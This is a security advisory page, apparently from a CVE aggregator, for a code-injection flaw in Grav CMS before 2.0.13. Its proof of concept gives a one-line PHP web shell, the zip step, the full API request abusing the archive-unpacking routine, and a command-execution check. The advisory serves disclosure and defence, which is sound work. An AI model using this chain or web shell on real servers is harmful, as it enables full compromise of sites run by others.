# CVE-2026-72819: Grav CMS vulnerable to remote code execution via .zip file upload

> CVE-2026-72819 (GitHub advisory GHSA-r94f-hx44-8jqf) is a high-severity vulnerability with a CVSS 4.0 base score of 8.7, classed as Improper Control of Generation of Code ('Code Injection') (CWE-94), in getgrav/grav (Packagist). Affected versions: < 2.0.13. It is fixed in 2.0.13.

Canonical page: https://cveminer.com/vulnerabilities/CVE-2026-72819

| Field | Value |
| --- | --- |
| CVE | CVE-2026-72819 |
| GHSA | GHSA-r94f-hx44-8jqf |
| Severity | High |
| CVSS 4.0 | 8.7 `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` (GitHub Advisory Database) |
| CVSS 3.1 | 8.8 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` (GitHub Advisory Database) |
| CWE | CWE-94 Improper Control of Generation of Code ('Code Injection') |
| EPSS | 0.5% (higher than 41% of CVEs) |
| CISA KEV | Not listed |
| SSVC | exploitation poc, automatable no, technical impact total |
| Published | 14 Aug 2026 |
| Modified | 17 Sept 2026 |

## Description

A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.

##### Details

The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.

The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with `../`, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.

Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.

##### PoC

1. Log in at `http://TARGET/login` (or `/admin`). The session cookie is the only credential needed below.

2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at `/user/media/evil.zip`.

   Zip the shell.php file with the php code mentioned below:
   ```
   shell.php:  <?php system($_GET['c']); ?>
   zip evil.zip shell.php
   ```

3. Send the request (attach your Cookie and X-API-Token):

   ```
   PATCH /api/v1/config/plugins/flex-objects
   Content-Type: application/json

   {
     "directories": ["user/config/plugins/flex-objects.yaml"],
     "title": "Pwn",
     "type": "flex-objects",
     "config": { "data": {
       "object":     "Grav\\Common\\Flex\\Types\\Generic\\GenericObject",
       "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection",
       "index":      "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex",
       "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage",
                    "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"},
                                 "folder": "user-data://flex-objects/pwn.json" } } } },
     "form": { "validation": "loose", "fields": {
       "name": {"type": "text", "label": "Name"},
       "pwn":  {"type": "text", "label": "pwn",
                "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"],
                                  "user/media/evil.zip",
                                  "/absolute/path/to/grav-docroot"]} } }
   }
   ```

4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):

   ```
   POST /api/v1/flex-objects/flex-objects
   Content-Type: application/json

   {"name": "x"}
   -> 201
   ```

5. Open the file that was written:

   ```
   http://TARGET/shell.php?c=id
   -> PWNED:uid=1000(kali) gid=1000(kali) ...
   ```

##### Impact

Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| getgrav/grav | Packagist | `pkg:composer/getgrav/grav` | < 2.0.13 | 2.0.13 |

## Fix commits

- Release: https://github.com/getgrav/grav/commit/81740e23614c3f3f520dbd8dc7a7af21efd0b747 (2.0.13)

## Questions

**What is the GHSA ID for CVE-2026-72819?**

GitHub tracks CVE-2026-72819 as GHSA-r94f-hx44-8jqf.

**What is the CVSS score of CVE-2026-72819?**

CVE-2026-72819 has a CVSS 4.0 base score of 8.7 (High), vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Other published scores: CVSS 3.1 8.8.

**Which versions are affected by CVE-2026-72819?**

getgrav/grav (Packagist): < 2.0.13.

**How do I fix CVE-2026-72819?**

Upgrade to 2.0.13 or later.

**What is the Package URL (PURL) for CVE-2026-72819?**

The affected package's PURL is pkg:composer/getgrav/grav.

**Is CVE-2026-72819 exploited in the wild?**

CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-72819. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc". EPSS estimates a 0.5% chance of exploitation in the next 30 days, higher than 41% of CVEs.

## References

- https://github.com/getgrav/grav/security/advisories/GHSA-r94f-hx44-8jqf (advisory)
- https://nvd.nist.gov/vuln/detail/CVE-2026-72819 (advisory)
- https://www.vulncheck.com/advisories/grav-cms-before-remote-code-execution-via-zip-upload (advisory)
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/72xxx/CVE-2026-72819.json (advisory)
- https://github.com/advisories/GHSA-r94f-hx44-8jqf (advisory)
- https://github.com/getgrav/grav (package)

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2026-72819), compiled from OSV (GitHub advisory), GitHub Advisory Database, OSV (CVE record), CVE.org, CISA KEV catalog. OSV and GitHub Advisory Database content is licensed CC BY 4.0.